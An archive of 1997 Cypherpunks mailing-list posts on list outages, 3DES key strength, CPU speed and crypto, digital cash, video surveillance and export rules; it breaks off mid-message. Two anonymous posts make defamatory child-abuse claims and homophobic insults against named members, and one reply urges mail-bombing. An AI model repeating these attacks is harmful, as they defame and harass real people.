This shows the disdain with which the Cypherpunks list is held by many
former members, who in fact had little or no interest in cryptography, and
why it is so important, prior to joining our list. Oh well, they got
educated, they formed companies, and now they are bemused that the
Cypherpunks list still exists.

To be fair to them, though, they are generally promoting the cause of
liberty and strong cryptography, and few if any former Cypherpunks are
actively supporting GAK or "key recovery" or other fascist policies.

As for the "success" of the other two list mentioned by Adam, fine, good
for them. Both are "moderated" or at least semi-moderated lists. I won't
post to either of them, not wanting either Perry Metzger or Futplex to have
control over my articles. (And, interestingly, neither of them seems to
post to Cypherpunks, so I suppose it all works out.)

The instability of the Cypherpunks address, with the obvious change from
toad.com to various other addresses (algebra.com, cyberpass.net, and even
ssz), obviously did not help.

Increasing list subscribership has never really been a priority to most of
us, anyway.

But, fact is, Adam is right that many former list members are now much more
interested in "moderated" discussions of "moderate" topics, all in
"moderation."

To each their own.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Mon May 12 16:50:16 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 13 May 1997 07:50:16 +0800
Subject: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
In-Reply-To: <01BC5ED2.4E86C710@marmoset.loc201.tandem.com>
Message-ID: <199705122315.SAA25940@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <01BC5ED2.4E86C710 at marmoset.loc201.tandem.com>, on 05/12/97 at 12:45 PM,
   Chris DiBona  said:


>I think that RSA should also realize that without PGP, their market would
>be much smaller, I think every time RSA licenses thier (now renewed)
>patents, they should think of Phil. I don't mean to saint the guy here or
>anything, but they owe him a debt that is difficult to quantify. By suing
>PGP they are basically saying , if I can extrapolate in a rather extreme
>manner, "privacy is okay, but only if we make money at it." 

I would extrapolate a little different:

"thanks Phil for putting us on the map, now bend over and grab your ankles"



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Double your drive space! Delete Windows!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3ez3I9Co1n+aLhhAQFGJQP/X7hiUPZaiQaud10Jlbc/YqJ1IL+nABwR
PuHTKX5rGm08qA6bbvHbK9mJbdJp/7rddF9PGQYqRP11ql5FqSGqqZxXLfjspIsO
LKDCYNh3lFta/Z5J7HLgO/Ch4P1MjtlEGKUSqRS+oKVeXKfsJEI35Wf1aF4jAhzI
DOeBaMylmQo=
=azRs
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Mon May 12 16:52:53 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 13 May 1997 07:52:53 +0800
Subject: cyberpass.net got a problem?
In-Reply-To: <199705122156.WAA02582@server.test.net>
Message-ID: <199705122334.SAA26201@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199705122156.WAA02582 at server.test.net>, on 05/12/97 at 03:56 PM,
   Adam Back  said:



>Hardly any traffic at all today.

>Is cyberpass.net ok?

>I sent a `who cypherpunks' to majordomo at cyberpass.net and got a response
>back instantly from sirius.infonex.com, so it's _there_.

>Most of the small amount of traffic that there is, seems to be from
>algebra.com and toad.com.

>I've just subscribed to algebra.com, in case I'm missing out on articles
>(my procmail will kill duplicates if any).

>How are people on algebra.com finding the traffic?  (2 articles dated 12th
>in total as of 21:40 GMT (+0)).

I have recieved only 2 messages from cyberpass today while I have received
27 from algebra no stats for toad as I am not subscribed to that list.

I am just finishing up my script to collect, log, & merge the two lists. I
hope to add in the news groups also to produce a daily cypherpunks digest.

I should have somthing up and running after I meet a production deadline
this weekend.

I could add some list analysis to my code producing a weekly and/or daily
report on the status of the various lists.

Let me know what kind of info you would like to see in the report and I
will see what I can come up with.

Also what would be a good size to split the daily digest at if it gets too
big?

Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: How do you make Windows faster?  Throw it harder!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3e4PY9Co1n+aLhhAQHfnQP/QKuZsaVrE0wdr3u0HbuFgJ1HnA3RfnYo
qBHPZA7s4kcwEbF5UY5BzeyPTLENg3csjXXRtmXYGqRsKug7YhUgNiigjBhBNvGw
dPBYfVAWCNc1xCW0SXRWDyxAK8nYpDg6Q6N/CDivMAk6XtfZ9sdn0pl+cxLj5j24
1pMiR+ARGTU=
=B7Xf
-----END PGP SIGNATURE-----






From ichudov at algebra.com  Mon May 12 16:55:44 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 13 May 1997 07:55:44 +0800
Subject: cyberpass.net got a problem?
In-Reply-To: <199705122334.SAA26201@mailhub.amaranth.com>
Message-ID: <199705122349.SAA06579@manifold.algebra.com>


William H. Geiger III wrote:
> I am just finishing up my script to collect, log, & merge the two lists. I
> hope to add in the news groups also to produce a daily cypherpunks digest.
> I should have somthing up and running after I meet a production deadline
> this weekend.
> I could add some list analysis to my code producing a weekly and/or daily
> report on the status of the various lists.
> Let me know what kind of info you would like to see in the report and I
> will see what I can come up with.

1. # of articles from both sources
2. Message-IDs and header summaries of articles that appear in one list
   and not in another
3. Statistics on most frequent posters, by # of messages and # of kbytes
4. Estimated posting delay, per site (can be figured out from Received:
   fields).

	- Igor.






From markm at voicenet.com  Mon May 12 17:13:48 1997
From: markm at voicenet.com (Mark M.)
Date: Tue, 13 May 1997 08:13:48 +0800
Subject: The Interlinked Cypherpunks Lists?
In-Reply-To: 
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 12 May 1997, Tim May wrote:

> Some thoughts:
>
> * Is it possible for the interlinked lists to send out announcements of
> list problems to subscriber of all such lists? (Each list owner could do a
> periodic "who cypherpunks" of the other lists, then use this list to send a
> message if a problem comes up. More sophisticated cross-processing could
> eliminate duplicates, etc.)

For simplicity, I suggest posting announcements to alt.cypherpunks.  I
would assume that most people on this list also read alt.cypherpunks.

>
> * Alternatively, if one of the sites goes down, such as
> "cypherpunks at cyberpass.net" seems to have done, could the other sites
> automagically pick up the task of distributing articles until the site
> comes back up?

If each site keeps logs of all messages sent to the list for the last n
number of days, a simple Perl hack would allow the admin of the downed
site to compare logs with another site and send all the unsent messages
to the distribution list.

>
> * How feasible is it to have a single "virtual subscription address" which
> gets traffic from one of the various list sites? (To avoid having to
> subscribe to two or more lists and thus getting duplicates.)

How would this be different from any other list site?  I don't know for
certain, but it should be the case that each site is subscribed to at
least two other sites for redundancy.  A necessary consequence of not
subscribing to two or more lists is the fact there will be one single
distribution point which could go down at any time.

>
> I'll resubmit a few of my recent articles to cypherpunks at algebra.com.
>
> --Tim May
>
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
>
>



Mark
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From markm at voicenet.com  Mon May 12 17:21:36 1997
From: markm at voicenet.com (Mark M.)
Date: Tue, 13 May 1997 08:21:36 +0800
Subject: The War is Underway (fwd)
In-Reply-To: 
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 11 May 1997, Black Unicorn wrote:

> As I recall, 3des ( DESk1 -> DESk2^-1 -> DESk3 ) has an effective
> keylength of 112 bits.  Less than IDEA.  Schneier discusses this.

That's only the best case (for the cryptanalyst).  Breaking 3DES with
only 2^112 encryptions requires 2^56 plaintext-ciphertext pairs.
Schneier says this is about 10^17 bytes.

> I dislike this line of argument for several reasons.  It reduces security
> to the lowest common denominator.  Because, the argument goes, few people
> will use more than a 21 character passphrase, then we need not design
> anything with more security.
>
> In reality, I think that the percentage of people who use more than an 8
> character passphrase, especially outside these circles, is small.
> Following your logic, our high end of security should be about 48 bits.

Very true.  I was not arguing that security should be reduces to the
lowest common denominator but that using excessively long key sizes does
little good.  Anything over 256 bits is, IMHO, overkill and 160 bits is
enough to make brute-force attacks infeasible.

> It costs little today to develop a cipher with larger keyspace.  (DES with
> independent subkeys already exists and has a basic keyspace of 768 bits.
> A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
> the cipher briefly).  If users are willing to deal with large keys (I
> certainly am) then software designers are restraining a more secure
> implementation.

I'm very suspicious of any cipher with independant subkeys.  Apparently,
this makes chosen-key attacks *very* easy.  Chosen-key attacks aren't
very practical, but it doesn't give me a good feeling about the relative
security of the cipher.  Some combination, like triple-DES using variable
S-boxes would probably be a little more secure.


Mark
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From stewarts at ix.netcom.com  Mon May 12 17:46:02 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 13 May 1997 08:46:02 +0800
Subject: 64-bit CPU 10x faster in crypto?
In-Reply-To: <2.2.32.19970509173208.006a8a64@vaxf.pios.com>
Message-ID: <3.0.1.32.19970512173423.00696768@popd.ix.netcom.com>


At 10:32 AM 5/9/97 -0700, Bill Stout wrote:
>During a Digital seminar, a statement was made that 64-bit CPUs are about
>10x faster than a 32-bit CPU in dealing with crypto, and that Alphas are
>favorites of Crypto-affiliated Gov't agencies.  

They're certainly nice boxes :-)  But are they really more cost-effective
than piles of cheaper Pentium-Pro-200 boxes?

Crypto mainly falls into three kinds of calculations
- bignum modular exp/mult/factor - Alphas are great at this
- bit-twiddling for DES and friends - don't know if Alphas like this or not,
	but doing multiple operations per very fast clock cycle won't hurt
- byte- and word-oriented cryto, like RC4 and IDEA - 
	64-bit words may be no better than 32-bit for this,
	unless you can find ways to transform the problem
	and use it for parallelism.
	
>I spoke with a reference
>within Digital and the following logic was presented:
>  o A 128-bit key is processed in two 64-bit chunks, vs four 32-bit chunks,
>greatly reducing processing time.
>  o The Alpha executes four instructions per clock cycle.
>  o Alpha clock ratings are 600MHz this summer.
>  o Caveat: The O.S. needs to support 64-bit processing (Digital UNIX or
>Linux, not NT). 

The _compiler_ needs to support 64-bit processing, 
but you're not likely to need 64-bit address spaces
or care too much how fast you can haul data from files into cache,
since you're mostly going to be bashing bignums in cache anyway.
If NT will let you run object code with 64-bit longs, you're ok.

>I'm concerned about the strength of personal/corporate crypto in face of
>large jumps in processing power.

Important topic, but Moore's Law will be with us for a couple more years,
so a factor of 10 in processing power is just 3-4 years speed increase.
That means you need about 3 bits more key for your symmetric cypher or
30 bits more for RSA or Diffie-Hellman public keys.  It's another nail in
RC4/40 and DES's coffins, and another motivation not to use 512-bit RSA,
but no problem for IDEA or RC4/128 or Triple-DES or 1024-bit RSA.

A more serious effect of big fast chips is that they can drive
better data collection machines - how much more pattern-searching 
and traffic analysis can altavista.nsa.mil and dejanews.nsa.mil do
with a multi-processor Alpha that they couldn't with their old DEC-20s?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Mon May 12 17:53:41 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 13 May 1997 08:53:41 +0800
Subject: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <199705020937.KAA00881@server.test.net>
Message-ID: <3.0.1.32.19970512135547.005f2040@popd.ix.netcom.com>


>Well, the consequence of book-entry transactions, of course, is the
>interference of the nation-state, because that's your anti-repudiation
>mechanism. Book-entry banks need nation-states, or force monopolies of
>somekind, to exist. 

I disagree.  Book-entry banks need some kind of fairly reliable
dispute resolution mechanism, but it doesn't need to be a force monopoly.
If you happen to have a nation-state just lying around to be used,
banks will be happy to use them, because they're more convenient for
wide-area business than Mafia enforcers, probably cheaper, and can be
more dependable and predictable, though your mileage may vary.

If you have relatively dependable identities, you can run a reputation
system without relying on governmental or private violence providers;
it's probably less expensive, but also less effective in most communities,
so the risk of losing money may make it less attractive than governments.
If people know that nobody will take their checks if they bounce them
and don't make good, and know they won't get any credit, and know that
the merchants are all on the Grapevine, they'll generally be honest*.
If identities are fluid, and you're willing to keep creating and burning them,
you can sometimes get away with reneging on obligations,
but people are less likely to trust you if they don't know you -
so they'll want to see certified e-checks from well-known banks.

I tend to view book-entry systems as an effect of an
economy that uses credit to fund business ventures;
you can call the book entries "bonds" or "stocks", but
book-entry is the obvious way to keep track of either one.
Sure, you could do things like split all revenues on receipt,
but book-entry is probably still easier.

[*Honest people will generally be honest anyway, which is most people
in most cultures, but that doesn't mean they'll be good enough at
planning to pay off their loans on time, especially if they're using
the money for risky activities such as farming or software development...
On the other hand, violence providers aren't always good at extracting
payments from people who really don't have the money any more.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From nobody at huge.cajones.com  Mon May 12 18:01:31 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 09:01:31 +0800
Subject: PGP
Message-ID: <199705130047.RAA24073@fat.doobie.com>


Given Timmy C[retin] May's propensity to molest 
little children, is it any surprise that the 
state of California wants to have him castrated?

       ,,,
      (o-o)
  -ooO-(_)-Ooo- Timmy C[retin] May






From lucifer at dhp.com  Mon May 12 18:25:53 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 13 May 1997 09:25:53 +0800
Subject: Dr. Vulis
Message-ID: <199705130108.VAA28040@dhp.com>


Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
computer masturbating at his own imagined cleverness.
 
             |||||||||||
              \~0/ \0~/
              <  (0)  >
         --oOO--/|||\--OOo- Dimi (Closet Homo) Vulis






From jimbell at pacifier.com  Mon May 12 19:08:22 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Tue, 13 May 1997 10:08:22 +0800
Subject: Disinformation in L.A.
Message-ID: <199705130145.SAA26803@mail.pacifier.com>


At 09:14 5/11/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>I bet the NCSA folks are kicking themselves for missing the opportunity
>to have Jim Bell speak at InfoWarCon 96 :-)

Hey, there's always 1997!

Jim Bell
jimbell at pacifier.com






From blancw at cnw.com  Mon May 12 20:26:01 1997
From: blancw at cnw.com (Blanc)
Date: Tue, 13 May 1997 11:26:01 +0800
Subject: War & InfoWar
Message-ID: <3.0.32.19970512200506.006d0f1c@cnw.com>


frissell at panix.com wrote:

>But Blanc,what if "It Takes A Village to Raise a Child" and the village is
trying to raise my child against my will.  In that case, the only way to
handle things is to destroy the village.  Not to save it,but to save my child.
>
>Think about it.
......................................................

Well, I thought about it, while the list was on vacation.   
You're right, Duncan.  Where should we start?

Truthfully, I don't think you've stockpiled any explosives to use for such
an act, and even if you had, I don't believe you would use them.   You'd
have to pay someone else to do the deed, and even so you'd probably start
reflecting on all those other people's itty bitty children who would have
to lose their lives in that total destruction, and chicken out.

    ..
Blanc
    ..
Blanc






From nobody at huge.cajones.com  Mon May 12 21:03:42 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 12:03:42 +0800
Subject: VideoWorld Justice
Message-ID: <199705130319.UAA03346@fat.doobie.com>


>From "Video Justice" TV show:
  "The video camera has evolved from passive observer to active
participant" (in the war on crime).

  Golly gee, government wants to use video cameras to monitor citizens
everywhere, all the time, and now we have a primetime TV show dedicated
to convincing the citizens that the surveillance camera is their best
friend. What a coincidence!

  With a dozen TV shows already championing law enforcement personnel
with neatly pressed uniforms saving the citizens from bad guys wearing
T-shirts, its refreshing to see fresh propaganda which informs us that
surveillance technology is our new best friend.
  It was so enlightening to hear criminologists and prosecutors praise
the emotional charge generated by seeing perpetrators "laugh" as they
"terrorized" people by shooting them with paintball guns resulting in
their receiving four years in prison instead of the one year that the
prosecutor expected.
  ( 4 perps x 4 years x $65,000/year = > $ 1,000,000.00 of taxpayer
money spent to incarcerate people who splatter someone with paint and
laugh about it. If Tim May owns a paintball gun, then I guess that he
can add to his list of potential felonies.)

  We also learn that surveillance cameras are "Invaluable weapons of 
enforcement in government stings" and that "The evidence they provide 
is incontestable."
  It sounds like we will no longer need judges and juries once the
citizens are fully monitored.
  We are told that John Law is protected from claims of entrapment
by the irrefutable evidence provided by their video taping of the
government sting. Naturally, we only see a selective two minute
tape of the entire operation. No video/sound recording of the setup
of the victim/criminal is shown.

  There was no video shown of police brutality (ala Rodney King) and
no questioning of why the technology is only geared toward showing
what goes on in front of the camera, leaving the citizen unprotected
once the officer takes him or her out its visual range.
  (Of course, any deviation from the "Sainthood of Authority" script
would result in the show's producers losing access to the cheap source
of their video propaganda.)

  Where is the legislation being put forth to require law enforcement
personnel under video surveillance to prevent them from engaging in
crimes against the citizens? Harassing them, beating them, becoming 
the source of crack flowing into their neighborhoods, spending hours
and days manipulating them into a two-minute video scene which is 
staged to provide "incontestable evidence" of their guilt.
  Video cameras are commonplace to watch the citizens in banks in
case someone tries to "steal" a few hundred or a few thousand
dollars. Where are the video cameras that watch the bankers in
order to provide evidence of their possible criminal actions?

  Video surveillance technology is the same old story. Provide a few
emotionally charged scenes to scare the citizens, offer them a form
of "protection" and then institute the technology in a one-way
vector which points only at those on the bottom of the food chain.
  Same technological shit, different day.

TruthMonger







From rah at shipwright.com  Mon May 12 21:07:47 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 13 May 1997 12:07:47 +0800
Subject: War & InfoWar
In-Reply-To: <3.0.32.19970512200506.006d0f1c@cnw.com>
Message-ID: 


At 11:12 pm -0400 on 5/12/97, Blanc wrote:

> Truthfully, I don't think you've stockpiled any explosives to use for such
> an act, and even if you had, I don't believe you would use them.   You'd
> have to pay someone else to do the deed, and even so you'd probably start
> reflecting on all those other people's itty bitty children who would have
> to lose their lives in that total destruction, and chicken out.

Ah. A 90's version of Freddy Hayek's "Road to Serfdom", maybe?
A turn-of-the-new-century Phabian Society needs a Stalin to make it's
dreams reality?

Be careful what you wish for, ladies and germs...

Cheers,
Bob

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From stewarts at ix.netcom.com  Mon May 12 21:21:50 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 13 May 1997 12:21:50 +0800
Subject: ANNOUNCEMENT Crypto Forum May 22, 1997, New York City
Message-ID: <3.0.1.32.19970512203150.0065c3e8@popd.ix.netcom.com>


>Sender: Law & Policy of Computer Communications
>              
>From: "Abramson, Ron" 
>Subject:      ANNOUNCEMENT Crypto Forum May 22, 1997, New York City
>
>Cryptography Forum
>May 22, 1997 at 7:00 p.m.
>Association of the Bar of the City of New York
>22 West 44th Street, New York City
>
>Interested persons are invited to attend.  No fee or
>reservation is required.
>
>TITLE OF PROGRAM:
>Guns, Ammunition and Cryptography: Is the Government's
>Policy on Digital Encryption Creating a Crisis?
>
>A moderated panel will discuss issues raised by the
>Government's policy on cryptography.
>
>MODERATOR:
>Charles R. Nesson, Professor, Harvard Law School
>
>PANELISTS:
>Jim Bidzos
>President and CEO, RSA Data Security, Inc.
>
>Scott Charney
>Computer Crime Unit, Department of Justice
>
>Kenneth W. Dam
>Professor, University of Chicago Law School; Chair,
>National Research Council Committee to Study National
>Cryptography Policy
>
>Dorothy E. Denning
>Professor, Computer Science Department, Georgetown
>University
>
>David J. Farber
>Professor, Computer and Information Science and Electrical
>Engineering Departments, University of Pennsylvania
>
>Marc Rotenberg
>Director, Electronic Privacy Information Center
>
>Sponsored by the Committees on Computer Law, Civil Rights,
>Science and the Law, and Symposia, of the Association of
>the Bar of the City of New York
>
>For additional information, e-mail jzammit at fulbright.com or
>dcohen at bway.net
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From blancw at cnw.com  Mon May 12 21:58:31 1997
From: blancw at cnw.com (Blanc)
Date: Tue, 13 May 1997 12:58:31 +0800
Subject: War & InfoWar
Message-ID: <3.0.32.19970512214932.006d4e8c@cnw.com>


Robert Hettinga wrote:

>Ah. A 90's version of Freddy Hayek's "Road to Serfdom", maybe?
>A turn-of-the-new-century Phabian Society needs a Stalin to make it's
>dreams reality?
>
>Be careful what you wish for, ladies and germs...
.............................................................


Well, now, what exactly do you mean?   How does this relate to bombing a
village, with all its communists & captives, out of existence?

    ..
Blanc
    ..
Blanc






From dlv at bwalk.dm.com  Mon May 12 22:05:48 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 13 May 1997 13:05:48 +0800
Subject: Disinformation in L.A.
In-Reply-To: <3.0.32.19970511133716.00755b9c@netcom13.netcom.com>
Message-ID: <35im7D28w165w@bwalk.dm.com>


Lucky Green  writes:
> Seriously, I doubt anybody on this list is going to do something violent.
> That doesn't mean I think that nobody in the world is willing to nuke DC. I
> am told that quite a few Russian nukes are unaccounted for. Just for the

I didn't do it. :-)

> record, I believe that it considerably more likely for New York City to be
> nuked than DC.

If I were to bet, I'd bet that Tel Aviv would be the first target, before
any U.S. city. (I'm not saying it's good or bad, I just think that's more
likely to happen.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From real at freenet.edmonton.ab.ca  Mon May 12 22:09:49 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 13 May 1997 13:09:49 +0800
Subject: PGP
In-Reply-To: <199705130047.RAA24073@fat.doobie.com>
Message-ID: 




I think Vulis needs each of us to send ten copies of this back to
him.

On Mon, 12 May 1997, Huge Cajones Remailer wrote:

> Given Timmy C[retin] May's propensity to molest 
> little children, is it any surprise that the 
> state of California wants to have him castrated?
> 
>        ,,,
>       (o-o)
>   -ooO-(_)-Ooo- Timmy C[retin] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From dlv at bwalk.dm.com  Mon May 12 22:11:00 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 13 May 1997 13:11:00 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
Message-ID: 


Rick Osborne  writes:
> I said:
> >I appreciate the inference as to my (lack of) intelligence.  ;)
>
> To which Vulis wrote:
> >Your lack of ethics, rather.  You choose to work for someone who chooses
> >to use inadequate Microsoft software, and you brandish these choices as
> >an excuse to interfere with somene's free speech.
>
> I'm not brandishing anything as an excuse, simply stating this: I should
> not have to walk through the street (get my email) wearing 4 inches of
> kevlar (using spam filters), *just in case* someone decides to whip out a
> submachine gun (spam).  It should not me my job to defend myself from
> psychos, rather people should have to ask my permission to infringe upon my
> space and time.

Rick also walks in the rain without an ubmbrella and fucks without a condom.

*PLONK*

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tm at dev.null  Mon May 12 22:14:37 1997
From: tm at dev.null (TruthMonger)
Date: Tue, 13 May 1997 13:14:37 +0800
Subject: `careerpunks'
Message-ID: <199705130448.WAA20281@wombat.sk.sympatico.ca>


Adam Back wrote:
> Seems to me many of the `cypherpunks' have become `careerpunks' and
> are now more interested in trading crypto tips, trade gossip, than in
> cypherpunks projects.
> 
> They went through the phase of buying kewl domain names (take a look
> down the subscriber lists), tinkering with remailers, and have now
> graduated to making money from crypto consulting, and lost interest in
> the issues where they don't add to the bottom line.

  People go through life changes and often try on different types of
attire/lifestyles at various points along their time-line. Hopefully,
they gather a few viewpoints and ideals along the way which will stay
with them throughout the outward changes in their interests and
directions in life.
  Doubtlessly, the cypherpunks list has sown many seeds of free thought
which are growing in different ways throughout the cryptography 
industry. If enough of these seeds have sprouted successfully then
there us always the possibility that the discussions on this list will
play a part in a modicum of free thought being a part of the process
by which future corporate decisions are made.

  Once one's consciousness (and conscience) has been exposed to a 
variety of viewpoints and influences it is harder to dismiss the views
of others out-of-hand.
  Immersing oneself in a narrower technological arena of crypto interest
such as is provided on the coderpunks and cryptography list is no doubt
beneficial to increased crypto-technical expertise. For those who choose
to retain their soul in the process, the cypherpunks list serves as an
island of anarchy in which the tendency to merge into corporate robot-
icism can be countered.

TruthMonger






From announce at lists.zdnet.com  Mon May 12 22:33:04 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Tue, 13 May 1997 13:33:04 +0800
Subject: ZDNet Special Offer: WebINNOVATION Discount!
Message-ID: 


---------------------------------------------------------------
    ZDNET ANNOUNCEMENT         5/13/97
---------------------------------------------------------------

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Admission to the Tech Pavilion is free if you pre-register now 
($50 on-site registration fee). 

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From iang at cs.berkeley.edu  Mon May 12 22:37:33 1997
From: iang at cs.berkeley.edu (Ian Goldberg)
Date: Tue, 13 May 1997 13:37:33 +0800
Subject: Unexportable crypto
In-Reply-To: <199705121618.MAA09197@jazz.cape.com>
Message-ID: <5l8tu1$sqv@abraham.cs.berkeley.edu>


-----BEGIN PGP SIGNED MESSAGE-----

In article <199705121618.MAA09197 at jazz.cape.com>,
ET  wrote:
>A simple substitution cypher has a keyspace of
>26! ~ 2**88
>Isn't this too strong to export?
>

Actually, yes.  The cypherpunks ftp site has a program on it that helps
you break simple substitution ciphers (like newspaper cryptograms), for which
the author claims he was denied an export license.

   - Ian

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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nOK/uBGXEeuFCR0S+nwOmy2hvB3MpZM0BJrQCxqOQSqXjufbPsdfi9lu7T8vJ6vP
RUhxIuleN5hv2CHUs3B4+i0WpfxegspTp4txaeJO0DAY3dowqJI8apN9YECPny0r
NlX9YA1fObE=
=wrek
-----END PGP SIGNATURE-----






From osborne at gateway.grumman.com  Mon May 12 22:39:14 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Tue, 13 May 1997 13:39:14 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
Message-ID: <3.0.1.32.19970513011740.009da310@gateway.grumman.com>


________________________ R i c k   O s b o r n e ________________________
At 12:24 AM 5/13/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>*PLONK*

Damn, does this mean I've made your killfile?  Let me now express my sorrow
and regret.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Steganography Question:
How many bodies does it take to spell "I _told_ you I was crazy!"?






From zero at molly.vabo.cz  Tue May 13 13:39:43 1997
From: zero at molly.vabo.cz (Kamil Golombek)
Date: Tue, 13 May 1997 13:39:43 -0700 (PDT)
Subject: No Subject
Message-ID: <332B165D.CA689CE7@molly.vabo.cz>

lists


begin:vcard

fn:Golombek, Kamil 

n:Golombek;Kamil 

org:Military Academy Brno

email;internet:zero at molly.vabo.cz

title:student

x-mozilla-cpt:;0

x-mozilla-html:TRUE

end:vcard







From kent at songbird.com  Mon May 12 23:23:43 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 13 May 1997 14:23:43 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970511024334.53652@bywater.songbird.com>
Message-ID: <19970512230928.46454@bywater.songbird.com>


On Mon, May 12, 1997 at 11:28:19AM +0200, Alan Barrett wrote:
> On Sun, 11 May 1997, Kent Crispin wrote:
> > In the multiple recipient case, therefore, the master 
> > key is potentially used quite frequently, and hence much more 
> > exposed.  There are many other differences: I won't try to go into 
> > detail here.
> 
> Good point.
> 
> I happen to think that using the master key to decrypt documents is better
> practice than using the master key to obtain copies of other keys, but I
> can see both sides of this argument.

Your secretary of many years changes her passphrase, then forgets it. 
She has literally thousands of documents encrypted under that key. 
You tell her "There was a memo I put out two years ago -- we
formulated a quote for them, and *I need that number*." So you call in
